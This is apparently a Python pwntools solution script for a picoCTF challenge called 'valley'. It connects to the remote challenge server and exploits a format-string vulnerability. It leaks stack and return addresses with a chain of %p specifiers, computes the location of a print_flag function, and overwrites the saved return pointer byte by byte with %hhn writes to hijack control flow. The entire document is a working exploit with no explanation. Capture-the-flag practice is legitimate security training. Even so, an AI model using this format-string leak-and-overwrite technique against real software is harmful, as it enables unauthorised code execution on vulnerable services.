#!/usr/bin/env python
from pwn import *

#conn = process("./valley")
conn = remote("shape-facility.picoctf.net", 53287)
conn.recvline()

def write(data):
    conn.sendline(data)
    conn.recvuntil(b"e: ")
    return conn.recvline(keepends=False)

address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
log.info(f"received {address_leak_string}")

dot = address_leak_string.rfind(b'.')
address_leak = int(address_leak_string[dot+1:], 16)
log.info(f"return address: {hex(address_leak)}")

dot2 = address_leak_string.rfind(b'.', 0, dot)
stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
stack_address_ret = stack_address_leak_after_ret - 8
log.info(f"found stack address of ret pointer: {hex(stack_address_ret)}")

address_offset = 18
main_offset = 0x1401
print_flag_offset = 0x1269
address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
log.info(f"jump address is: {hex(address_to_return_to)}")

# only 2 least significant address bytes have to be rewritten
log.info(f"first byte address: {p64(stack_address_ret)}")

# produces string that writes 0<=n<=255 to byte at address
# offset for alignment of memory address
# here, use offset 2
def produce_writer(n, address, offset=0, op=b"hhn"):
    if n < 0:
        log.error(f"n has to be >= 0, is {n}")
        exit()
    if n < 8:
        n_pre = n
        n_post = 8 - n_pre + offset
        return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
    else:
        return f"%{(n-3):03}x...".encode() + b"%8$" + op + b'.'*offset + address

lower_byte_value = address_to_return_to%256
upper_byte_value = (address_to_return_to>>8)%256

lower_byte_writer = produce_writer(lower_byte_value, p64(stack_address_ret), offset=2)
log.info(f"writing lower byte value to {hex(lower_byte_value)} on enter with string {lower_byte_writer}")
write_lower_byte = conn.sendline(lower_byte_writer)

upper_byte_writer = produce_writer(upper_byte_value, p64(stack_address_ret+1), offset=2)
log.info(f"writing upp byte value to {hex(upper_byte_value)} on enter with string {upper_byte_writer}")
write_upper_byte = conn.sendline(upper_byte_writer)

conn.sendline(b"exit")
conn.recvuntil(b"The Valley Disappears\n")
rest = conn.recvall()
log.info(f"got {rest}")